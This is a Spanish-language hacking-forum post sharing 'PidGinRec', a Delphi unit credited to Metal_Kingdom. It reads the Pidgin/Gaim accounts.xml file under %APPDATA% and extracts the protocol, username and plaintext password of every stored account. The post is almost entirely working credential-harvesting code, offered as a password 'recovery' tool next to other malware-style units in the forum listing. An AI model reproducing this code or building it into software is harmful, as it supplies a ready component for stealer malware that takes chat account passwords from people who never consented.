comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

[UNIT] PidGinRec by Metal

  • 0 Respuestas
  • 1128 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado Expermicid

  • *
  • Underc0der
  • Mensajes: 457
  • Actividad:
    0%
  • Reputación 0
  • _-Expermicid-_
    • Ver Perfil
  • Skype: expermicid.xd
« en: Junio 11, 2013, 01:00:27 pm »
Recupera las pass de PidGin, es válido para todas las versiones.

Código: Delphi
  1. {
  2. Autor: Metal_Kingdom
  3. Fecha: 15-01-2013
  4. URL: UdTools.net
  5. Propósito: Recuperar datos de PidGin
  6. Versión: Todas (?)
  7. }
  8.  
  9. unit PidGinRec;
  10.  
  11. interface
  12.  
  13. uses
  14.   Windows, SysUtils, Classes;
  15.  
  16. Function mFileToStr(Ruta: string): string;
  17. Function sSplit(Cadena: string; DelimitadorI, DelimitadorF: string): String;
  18. Function PidGinRecover: TStrings;
  19.  
  20. implementation
  21.  
  22. Function mFileToStr(Ruta: string): string;
  23. var
  24. sFile: HFile;
  25. Buff: string;
  26. uBytes: Cardinal;
  27. begin
  28. sFile:= _lopen(PChar(Ruta), OF_READ);
  29. uBytes:= GetFileSize(sFile, nil);
  30. SetLength(Buff, uBytes);
  31. _lread(sfile, @Buff[1], uBytes);
  32. _lclose(sFile);
  33. Result:= Buff;
  34. end;
  35.  
  36. Function sSplit(Cadena: string; DelimitadorI, DelimitadorF: string): String;
  37. var
  38. contador1, contador2: integer;
  39. begin
  40. Contador1:= pos(delimitadorI, cadena);
  41. Contador2:= pos(delimitadorF, cadena);
  42. Result:= Copy(Cadena, Contador1 + Length(DelimitadorI), (Contador2 - Contador1) - Length(DelimitadorI));
  43. end;
  44.  
  45. Function PidGinRecover: TStrings;
  46. var
  47. Ruta: string;
  48. Accounts: tstrings;
  49. i, j: integer;
  50. Const
  51. ProtoI = '<protocol>';    ProtoF = '</protocol>';
  52. UserI = '<name>';         UserF = '</name>';
  53. PassI = '<password>';     PassF = '</password>';
  54. begin
  55.   if DirectoryExists(GetEnvironmentVariable('APPDATA') + '\.purple') then
  56.     Ruta:= GetEnvironmentVariable('APPDATA') + '\.purple'
  57.   else
  58.   if DirectoryExists(GetEnvironmentVariable('APPDATA') + '\.gaim') then
  59.     Ruta:= GetEnvironmentVariable('APPDATA') + '\.gaim';
  60.  
  61. If Ruta = '' then Exit;
  62.  
  63. Result := TStringList.Create;
  64. Accounts:= TStringList.Create;
  65. Accounts.Text:= mFileToStr(Ruta + '\accounts.xml');
  66.  
  67. For i:= 0 to Accounts.Count -1 do
  68.   begin
  69.     if pos(ProtoI, Accounts.Strings[i]) <> 0 then
  70.       begin
  71.         Result.Add('====================================');
  72.         Result.Add('Protocol: ' + sSplit(Accounts.Strings[i], ProtoI, ProtoF));
  73.       end;
  74.     if pos(UserI, Accounts.Strings[i]) <> 0 then
  75.       Result.Add('UserName: ' + sSplit(Accounts.Strings[i], UserI, UserF));
  76.     if pos(PassI, Accounts.Strings[i]) <> 0 then
  77.       Result.Add('Password: ' + sSplit(Accounts.Strings[i], PassI, PassF));
  78.   end;
  79. end;
  80.  
  81. end.

Autor: Metal_Kingdom
Fuente: Udt

 

¿Te gustó el post? COMPARTILO!



MeltFile [UNIT] [Fakedo0r]

Iniciado por Fakedo0r

Respuestas: 0
Vistas: 1361
Último mensaje Abril 19, 2012, 05:10:05 pm
por Fakedo0r
[Delphi] Unit DH Tools 0.2

Iniciado por BigBear

Respuestas: 0
Vistas: 1276
Último mensaje Mayo 14, 2016, 01:45:08 pm
por BigBear
CloneFileInfoA [UNIT] [Fakedo0r]

Iniciado por Fakedo0r

Respuestas: 0
Vistas: 1366
Último mensaje Abril 19, 2012, 05:06:29 pm
por Fakedo0r
GetWriteINI [UNIT] [Fakedo0r]

Iniciado por Fakedo0r

Respuestas: 0
Vistas: 1427
Último mensaje Abril 19, 2012, 05:11:12 pm
por Fakedo0r
ReadWriteAPI [UNIT] [Fakedo0r]

Iniciado por Fakedo0r

Respuestas: 0
Vistas: 1391
Último mensaje Abril 19, 2012, 05:08:16 pm
por Fakedo0r